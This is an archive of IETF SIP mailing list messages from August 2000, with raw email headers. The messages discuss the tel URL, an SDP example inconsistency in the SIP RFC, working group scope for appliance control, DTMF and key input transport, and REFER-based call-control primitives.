Content-Transfer-Encoding: 8bit On Tue, 08 Aug 2000, Kevin Davis wrote: > RFC 1806 ?! That regards "Content-Disposition" header. > > > >From: Gethin Liddell > > >no. to use the sip url, you must at the very least provide a host name > >and 17148700861 is not a valid host name. > > > >however, you can use the tel url (RFC 1806) to do this. sorry, typo - 2806 is the tel url -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 10:39:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16295 for ; Tue, 8 Aug 2000 10:39:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B1D534433A; Tue, 8 Aug 2000 10:39:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 956F944338 for ; Tue, 8 Aug 2000 10:39:35 -0400 (EDT) Received: from dynamicsoft.com ([216.66.66.46]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA09800; Tue, 8 Aug 2000 10:40:29 -0400 (EDT) Message-ID: <39901CBA.20E91F4B@dynamicsoft.com> Date: Tue, 08 Aug 2000 10:44:10 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] some inconsistencies in SIP rfc References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rahul pande wrote: > > The foll. example is given in SIP rfc : > v=0 > o=alice 2890844526 2890844526 IN IP4 host.anywhere.com > c=IN IP4 host.anywhere.com > m=audio 49170 RTP/AVP 0 > a=rtpmap:0 PCMU/8000 > m=video 51372 RTP/AVP 31 > a=rtpmap:31 H261/90000 > m=video 53000 RTP/AVP 32 > a=rtpmap:32 MPV/90000 > > The callee, Bob, does not want to receive or send the first video > stream, so it returns the media description below: > > v=0 > o=bob 2890844730 2890844730 IN IP4 host.example.com > c=IN IP4 host.example.com > m=audio 47920 RTP/AVP 0 1 > a=rtpmap:0 PCMU/8000 > a=rtpmap:1 1016/8000 > ** m=video 0 RTP/AVP 31 ****** some payload value is specified > m=video 53000 RTP/AVP 32 > a=rtpmap:32 MPV/90000 > > The above is the example specified in the SIP rfc, but its contradicting > with the following statement in SIP rfc under Appendix B: > > If caller and callee have no media formats in common for a > particular stream, the callee MUST return a session description > containing the particular "m=" line, but with the port number > set to zero, and no payload types listed. This statement is incorrect. It will be fixed in the next revision of the draft. A payload value must be specified, as per rfc2327. It doesn't matter what its value is. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 11:53:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05961 for ; Tue, 8 Aug 2000 11:53:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 93AA544349; Tue, 8 Aug 2000 11:52:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-crit.cisco.com (sj-msg-core-crit.cisco.com [171.71.163.10]) by lists.bell-labs.com (Postfix) with ESMTP id E592644337 for ; Tue, 8 Aug 2000 11:52:49 -0400 (EDT) Received: from ORANLT (oran-home-ss20.cisco.com [171.69.210.4]) by sj-msg-core-crit.cisco.com (8.9.3/8.9.1) with SMTP id IAA27479; Tue, 8 Aug 2000 08:52:40 -0700 (PDT) From: "David Oran" To: "James M. Polk" , "Rosen, Brian" , Subject: RE: [SIP] SIP for Appliances Date: Tue, 8 Aug 2000 11:52:39 -0400 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0289_01C0012F.26E02B90" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <4.1.20000807161443.00c36100@diablo.cisco.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0289_01C0012F.26E02B90 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Lack of creativity does not seem to be a problem for the SIP WG. A surfeit of creativity may in fact not be the WG's best interest, given the number of things already on the plate. I have seen a number of protocol efforts seriously damaged by having too many good ideas thrown in the pot (e.g. HTTP, PPP, FDDI, VPIM). I personally do not think Brian is out of line here. Dave. -----Original Message----- From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of James M. Polk Sent: Monday, August 07, 2000 5:16 PM To: Rosen, Brian; sip@lists.bell-labs.com Subject: Re: [SIP] SIP for Appliances Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already...... DOH! :-p At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. > >Brian Rosen >Joerg Ott >Dean Willis > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > ************************************* "At the end of the day... the most committed win!" James M. Polk Sr. Product Manager, Multiservice Architecture and Standards Enterprise Voice Business Unit Cisco Systems Dallas, Texas w) 972.813.5208 f) 972.813.5280 www.cisco.com ------=_NextPart_000_0289_01C0012F.26E02B90 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
Lack=20 of creativity does not seem to be a problem for the SIP WG. A surfeit of = creativity may in fact not be the WG's best interest, given the number = of things=20 already on the plate. I have seen a number of protocol efforts seriously = damaged=20 by having too many good ideas thrown in the pot (e.g. HTTP, PPP, FDDI,=20 VPIM).
 
I=20 personally do not think Brian is out of line here.
 
Dave.
-----Original Message-----
From:=20 sip-admin@lists.bell-labs.com = [mailto:sip-admin@lists.bell-labs.com]On=20 Behalf Of James M. Polk
Sent: Monday, August 07, 2000 = 5:16=20 PM
To: Rosen, Brian; = sip@lists.bell-labs.com
Subject: Re:=20 [SIP] SIP for Appliances

Jeez..... less than a week on the job and he's telling people = with=20 creative ideas to shuddup already......

DOH!

:-p


At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote:
>The discussion on SIP for appliances has been = fascinating,
>and many good points have been raised.  Use of SIP to=20 CONTROL
>appliances may or may not be the greatest thing since = sliced
>bread, but, unfortunately, falls outside of the SIP = working
>group charter:
>"SIP is a text-based protocol, similar to HTTP and SMTP, for =
>initiating interactive communication sessions between users. =
>Such sessions include voice, video, chat, interactive games, =
>and virtual reality."
>
>We encourage the authors of the draft to create a mailing = list
>for the subject.  They will be welcome to post an=20 announcement
>of such a list on the main SIP list.  If the discussion = proves=20 as
>lively as it has been, you may consider asking for a BOF at = the
>next IETF meeting.
>
>Since we have a ton of work to accomplish that falls within = the=20
>charter of the SIP WG, the chairs would like to cut off=20 discussion
>of this subject on the SIP list. 
>
>We do not wish to curtail sip discussions that focus on = devices=20
>that facilitate multimedia communications between users
>(such as dedicated IP phones, kitchen-counter mail/web/sip = boxes,=20
>set-top-boxes, and so on). These are within scope, and are=20 encouraged.
>
>Brian Rosen
>Joerg Ott
>Dean Willis
>
>
>
>_______________________________________________
>SIP mailing list
>SIP@lists.bell-labs.com
>http://lists.bell-labs.com/mailman/listinfo/sip
>

*************************************
"At the = end of the=20 day... the most committed win!"

James M. Polk
Sr. = Product=20 Manager, Multiservice Architecture and Standards
Enterprise Voice = Business=20 Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f) =20 972.813.5280
www.cisco.com ------=_NextPart_000_0289_01C0012F.26E02B90-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 12:03:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12530 for ; Tue, 8 Aug 2000 12:03:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DE5604434B; Tue, 8 Aug 2000 12:02:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 8AC4244337 for ; Tue, 8 Aug 2000 12:02:52 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id VAA26306 for ; Tue, 8 Aug 2000 21:33:52 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Tue, 08 Aug 2000 21:33:51 +0000 (IST) Received: from pcg142 (pcg142.sasi.com [10.0.64.142]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id VAA22351 for ; Tue, 8 Aug 2000 21:33:48 +0530 (IST) Message-ID: <001301c00151$38c53180$8e40000a@sasi.com> From: "Krishna G" To: Date: Tue, 8 Aug 2000 21:26:32 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0010_01C0017F.52543AA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [SIP] Regarding Instant Messaging Draft Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0010_01C0017F.52543AA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, In the Section 4.1 of the Instant Messaging draft ( = draft-rosenberg-impp-im-00.txt) there is some inconsistency between the = explaination text on message F4 and the actual message which follows the = text. The text is as follows: "The proxy receives this response, stripps off the top Via, and forwards = to the address in the next Via, user1pc.domain.com, the result being = message F4:" which makes sense. However in the actual message F4 we seem to be = removing the Contact instead of the top Via field. Please comment on = this. Regards, Krishna G. ------=_NextPart_000_0010_01C0017F.52543AA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
    In the Section 4.1 = of the=20 Instant Messaging draft ( draft-rosenberg-impp-im-00.txt) there is some=20 inconsistency between the explaination text on message F4 and the actual = message=20 which follows the text. The text is as follows:
 
"The proxy receives this response, = stripps off the=20 top Via, and forwards to the address in the next Via, = user1pc.domain.com, the=20 result being message F4:"
 
which makes sense. However in the = actual message F4=20 we seem to be removing the Contact instead of the top Via field. Please = comment=20 on this.
 
Regards,
 
Krishna G.
------=_NextPart_000_0010_01C0017F.52543AA0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 12:19:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23041 for ; Tue, 8 Aug 2000 12:19:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 44F634434F; Tue, 8 Aug 2000 12:19:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id B9C6844337 for ; Tue, 8 Aug 2000 12:19:00 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA15668; Tue, 8 Aug 2000 09:19:15 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAC82021; Tue, 8 Aug 2000 09:18:57 -0700 (PDT) Message-Id: <4.2.0.58.20000808090923.01aed220@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Tue, 08 Aug 2000 09:18:01 -0700 To: Mike Kallas From: Rohan Mahy Subject: Re: [SIP] DTMF and Universal Key Input Cc: Scott Petrack , Richard Shockey , Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net In-Reply-To: <20000807204122.333.qmail@web6404.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, - Message waiting info is not specific to IP telephony. It is equally relevant for email, voicemail, video, faxes, file sharing drop boxes, etc. - MGCP, Megaco, and H.323 already have their own (different) ways of handling both DTMF and Message Waiting. A unifying approach only works when all the the protocols share the need for a solution. - We already have a BCP for SIP Interworking with the PSTN. It seems that the WG has already taken a chunk of IP telephony under SIP's wing as a subset of the SIP solution space. Becasue of these issues, it doesn't seem like a stretch to keep both DTMF and Message Waiting in scope. thanks, -rohan At 01:41 PM 8/7/00 , Mike Kallas wrote: >I think we need to start distinguishing between the >session layer protocol and the application layer >protocols. I think that DTMF, message waiting or any >messages not related to session initiation or tear >down should not be in SIP. > >However there is a huge demand for standardization of >the communication of events that are: >1- application specific (IP Telephony) and >2- are either in session or out of session. > >I believe we need to create an IPTelephony >Service/Application platform interface protocol. > >This protocol will interface between a telephony >server running SIP signaling, Megaco Control or even >H.323 and the service / application platform that >needs the used input or user indication: > >This protocol would be an application level protocol. >The application being "IPTelephony". It would be >independent of SIP and would handle all the event >signaling and function invocation needed by a service >platform. > >Keep SIP simple and clean and address all the >application stuff in one place > >Mike >--- Scott Petrack wrote: > > the point is not which one will take over the world. > > The point is that the > > applications are similar in many many cases. Today > > the user experience is > > that s/he can > > > > press '1' or say 'yes' > > > > Now it's just not really relevant that 99% of the > > people press '1' and 1% > > say 'yes.' Nor is it relevant that there will be > > many places where one can > > only press '1'. What is relevant is that the > > INFORMATION to be encoded and > > transported is IDENTICAL, whether '1' is pressed or > > 'yes' is said. So from > > the presentation layer down to the transport layer, > > it's hard to see why > > we need two different methods. > > > > I got the impression that Skip and others wanted to > > enable the Internet > > and Internet-connected devices to offer the same key > > input service that > > the PSTN and > > PSTN devices offer today. Well, today, whether '1' > > is pressed or 'yes' is > > said, the real-time data is transported to a remote > > device and gets > > interpreted into a 'user input command'. > > > > The point of people who identify voice reco with key > > input is that it is a > > recipe for trouble if these two end-user events get > > transported in two > > completely different ways. If you need the keypress > > to be transported > > along the signalling path, then you also need the > > "yes" to be transported > > along the signaling path. And the encoding should > > also be as similar as > > possible, since the information to be encoded and > > transported is similar. > > > > In both cases the data should be encoded and > > transported as RTP, because > > this is the only way you will get the same key input > > service that you have > > today. It is the only way to put saying 'yes' and > > pressing '1' on an equal > > footing, where they need to be. > > > > If you want to build an IVR controlled signaling > > point, it is no problem > > at all: the first answer to the SIP INVITE points to > > a host that can > > receive ONLY the DTMF payload type, no other. At > > this point, the calling > > phone can receive prompts via G.xxx ordinary audio, > > and the calling phone > > can only send DTMF back (because that's the only > > codec the answerer > > supports). This host might well be a signalling > > server. It is hardly > > rocket science to build an RTP stack which supports > > the DTMF codec only. > > After some DTMF, the session can be modified so that > > the call is > > transferred to another host which can handle the > > proper audio codecs. > > This is the translation into IP telephony of the > > service which exists > > today, which as far as I understand, is the > > requirement. What is the > > problem with this solution? Is the problem that the > > signaling server now > > has to understand DTMF-in-RTP, this is really not a > > very difficult codec > > to master, and surely we all prefer to have one way > > of doing one thing > > than having two or three? In addition, I'll bet that > > you'll find it really > > useful to be able to have multiple receivers for the > > DTMF, etc. all the > > standard RTP services for this audio signaling. > > > > It may well be that there is a need for some new > > signaling to tell a > > device to go into key input mode, or to send the > > DTMF codecs to one place > > and the ordinary audio to another, or something. But > > these needs have > > nothing to do with the encoding or transport of the > > information, it seems > > to me. > > > > > > Scott Petrack > > http://800.edial.com/scott.petrack@edial.com > > > > > > On Sun, 6 Aug 2000, Richard Shockey wrote: > > > > > At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne > > wrote: > > > >It's not that I think that key(board) input will > > go away, just that it > > > >won't be 12 buttons with numbers and */#. The > > notion that this is in any > > > >way tied to telephone service will go away. We'll > > obviously have lots of > > > >key input. It's the web now, both forms > > (including speech input) and > > > >applets, telnet/ssh/rlogin, IM, irc and maybe > > other mechanisms. > > > > > > > >Why tie remote key(board) input to SIP or VoIP? > > If telnet (and kin) or > > > >web-based input modalities are not good enough, > > we need to discuss this, > > > >but that has nothing whatsoever to do with VoIP. > > SIP may or may not be > > > >the appropriate solution there. I don't want to > > SUBSCRIBE to the > > > >keyboard, I want to have an appropriate > > interaction with an abstract > > > >user interface that is far richer. For simple > > ASCII, telnet will > > > >probably do the trick (or the WAP "card" mode, if > > you like that model). > > > > > > For what its worth I completely agree with Skip > > here on the use of 12d > > > keypads in applications. These classes of > > terminals will not go away and > > > will only increase in usage for several reasons > > particularly mobile. > > > > > > 1. The use of E.164 numbering to identify SIP > > endpoints ( aka The ENUM WG , > > > since I'm co-chair I need to get a small ad in > > here) and E.164 numbering is > > > Globally Unique. > > > > > > 2. As Skip rightly pointed out numbers are > > Linguistically Neutral > > > ..something the IETF is still trying to deal with > > in IDN. > > > > > > 3. Numbers are "domain less" addressing. > > > > > > 4. I continue to hear arguments about voice > > recognition taking over but > > > I've heard these arguments for 10 years now and > > DTMF imput for applications > > > just gets bigger and bigger. > > > > > > > > > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > > > > Richard Shockey > > > Senior Technical Industry Liaison > > > NeuStar Inc. > > > 1120 Vermont Avenue N.W. > > > Suite 550 > > > Washington DC. 20005 > > > Voice 314.503.0640 > > > Fax to EMail 815.333.1237 (Preferred for Fax) > > > DC Number 202.533.2811 > > > INTERNET Mail & IFAX : rich.shockey@neustar.com > > > or rshockey@ix.netcom.com > > > http://www.neustar.com > > > > > > <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< > > > > > > > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > >__________________________________________________ >Do You Yahoo!? >Kick off your party with Yahoo! Invites. >http://invites.yahoo.com/ > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 12:29:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29514 for ; Tue, 8 Aug 2000 12:29:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D0CF44434B; Tue, 8 Aug 2000 12:29:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 7BDB044337 for ; Tue, 8 Aug 2000 12:29:37 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA03670; Tue, 8 Aug 2000 09:29:53 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAC82146; Tue, 8 Aug 2000 09:29:34 -0700 (PDT) Message-Id: <4.2.0.58.20000808092106.01aba960@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Tue, 08 Aug 2000 09:28:46 -0700 To: Tom Gray From: Rohan Mahy Subject: RE: [SIP] The NOTIFY method Cc: Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com In-Reply-To: <20000807224835.16887.qmail@web108.yahoomail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, The philosophy of SIP call control is to create a small number of *primitives* that can be used to deliver a much larger number of features. REFER is a primitive which asks another UA to send a SIP request on the Referrer's behalf. It can be used for "Transfers", but you can also use it for 3rd party desktop call control, and we will probably take advantage of the primitive to build collaborative applications (conferencing). I estimate that we can get all the PBX features (past, present, and future) using three to five well-defined primitives. Hope this helps. thanks, -rohan At 03:48 PM 8/7/00 , Tom Gray wrote: >What levels of features do you then see being created >with SIP? There a a whole host of PBX features. It >seems that you are asking for a subset. > >Tom Gray > > > > >-----Original Message----- > > >From: sip-admin@lists.bell-labs.com > > >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of > > Tom Gray > > >Sent: Monday, August 07, 2000 10:37 AM > > >To: Robert Sparks; sip@lists.bell-labs.com > > >Subject: Re: [SIP] The NOTIFY method > > > > > > > > >May I ask why SIP is being extended to include PBX > > >feature handling? Isn't this an example of creeping > > >featurism which could kill a protocol? > > > > > >--- Robert Sparks wrote: > > >> If you have not already done so, please look over > > >> draft-ietf-sip-cc-transfer-00.txt (attached for > > >> convenience) and comment. > > >> > > >> We missed the original target for completing this > > >> work. If there are any issues with the draft, > > lets > > >> work through them as soon as possible. > > >> > > >> Thanks! > > >> RjS > > >> > > >> > > > > > > > > >__________________________________________________ > > >Do You Yahoo!? > > >Kick off your party with Yahoo! Invites. > > >http://invites.yahoo.com/ > > > > > > > > >_______________________________________________ > > >SIP mailing list > > >SIP@lists.bell-labs.com > > >http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > >__________________________________________________ >Do You Yahoo!? >Kick off your party with Yahoo! Invites. >http://invites.yahoo.com/ > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 13:00:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20896 for ; Tue, 8 Aug 2000 13:00:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7EAE044341; Tue, 8 Aug 2000 12:59:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web6402.mail.yahoo.com (web6402.mail.yahoo.com [128.11.22.150]) by lists.bell-labs.com (Postfix) with SMTP id 945AD44337 for ; Tue, 8 Aug 2000 12:59:53 -0400 (EDT) Message-ID: <20000808165952.19013.qmail@web6402.mail.yahoo.com> Received: from [208.240.45.68] by web6402.mail.yahoo.com; Tue, 08 Aug 2000 09:59:52 PDT Date: Tue, 8 Aug 2000 09:59:52 -0700 (PDT) From: Mike Kallas Subject: RE: [SIP] DTMF and Universal Key Input To: "Roy, Radhika R, ALCOO" , Scott Petrack , Richard Shockey Cc: Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi Roy, IP Telephony Applications are things like Voice Mail, IVR, Call Center, or any new imaginative ones we can come up with I think that SIP is the session layer protocol that is used to establish and tear down sessions or calls in IP telephony. but it could be used to setup any session for application other than voice or telephony. SIP should not have application dependence. Mike --- "Roy, Radhika R, ALCOO" wrote: > Hi, Mike: > > It would help if you could clarify the following: > > 1. What do we exactly mean by the IP Telephony > (application)? > 2. What is the relationship between the IP Telephony > (application) and SIP? > > Best regards, > Radhika R. Roy > AT&T > > -----Original Message----- > From: Mike Kallas [mailto:mkforietf@yahoo.com] > Sent: Monday, August 07, 2000 4:41 PM > To: Scott Petrack; Richard Shockey > Cc: Henning Schulzrinne; Skip Cave; > sip@lists.bell-labs.com; > skipcave@connect.net > Subject: Re: [SIP] DTMF and Universal Key Input > > > I think we need to start distinguishing between the > session layer protocol and the application layer > protocols. I think that DTMF, message waiting or any > messages not related to session initiation or tear > down should not be in SIP. > > However there is a huge demand for standardization > of > the communication of events that are: > 1- application specific (IP Telephony) and > 2- are either in session or out of session. > > I believe we need to create an IPTelephony > Service/Application platform interface protocol. > > This protocol will interface between a telephony > server running SIP signaling, Megaco Control or even > H.323 and the service / application platform that > needs the used input or user indication: > > This protocol would be an application level > protocol. > The application being "IPTelephony". It would be > independent of SIP and would handle all the event > signaling and function invocation needed by a > service > platform. > > Keep SIP simple and clean and address all the > application stuff in one place > > Mike > --- Scott Petrack wrote: > > the point is not which one will take over the > world. > > The point is that the > > applications are similar in many many cases. Today > > the user experience is > > that s/he can > > > > press '1' or say 'yes' > > > > Now it's just not really relevant that 99% of the > > people press '1' and 1% > > say 'yes.' Nor is it relevant that there will be > > many places where one can > > only press '1'. What is relevant is that the > > INFORMATION to be encoded and > > transported is IDENTICAL, whether '1' is pressed > or > > 'yes' is said. So from > > the presentation layer down to the transport > layer, > > it's hard to see why > > we need two different methods. > > > > I got the impression that Skip and others wanted > to > > enable the Internet > > and Internet-connected devices to offer the same > key > > input service that > > the PSTN and > > PSTN devices offer today. Well, today, whether '1' > > is pressed or 'yes' is > > said, the real-time data is transported to a > remote > > device and gets > > interpreted into a 'user input command'. > > > > The point of people who identify voice reco with > key > > input is that it is a > > recipe for trouble if these two end-user events > get > > transported in two > > completely different ways. If you need the > keypress > > to be transported > > along the signalling path, then you also need the > > "yes" to be transported > > along the signaling path. And the encoding should > > also be as similar as > > possible, since the information to be encoded and > > transported is similar. > > > > In both cases the data should be encoded and > > transported as RTP, because > > this is the only way you will get the same key > input > > service that you have > > today. It is the only way to put saying 'yes' and > > pressing '1' on an equal > > footing, where they need to be. > > > > If you want to build an IVR controlled signaling > > point, it is no problem > > at all: the first answer to the SIP INVITE points > to > > a host that can > > receive ONLY the DTMF payload type, no other. At > > this point, the calling > > phone can receive prompts via G.xxx ordinary > audio, > > and the calling phone > > can only send DTMF back (because that's the only > > codec the answerer > > supports). This host might well be a signalling > > server. It is hardly > > rocket science to build an RTP stack which > supports > > the DTMF codec only. > > After some DTMF, the session can be modified so > that > > the call is > > transferred to another host which can handle the > > proper audio codecs. > > This is the translation into IP telephony of the > > service which exists > > today, which as far as I understand, is the > > requirement. What is the > > problem with this solution? Is the problem that > the > > signaling server now > > has to understand DTMF-in-RTP, this is really not > a > > very difficult codec > > to master, and surely we all prefer to have one > way > > of doing one thing > > than having two or three? In addition, I'll bet > that > > you'll find it really > > useful to be able to have multiple receivers for > the > > DTMF, etc. all the > > standard RTP services for this audio signaling. > > > > It may well be that there is a need for some new > > signaling to tell a > > device to go into key input mode, or to send the > > DTMF codecs to one place > > and the ordinary audio to another, or something. > But > > these needs have > > nothing to do with the encoding or transport of > the > > information, it seems > > to me. > > > > > > Scott Petrack > > http://800.edial.com/scott.petrack@edial.com > > > > 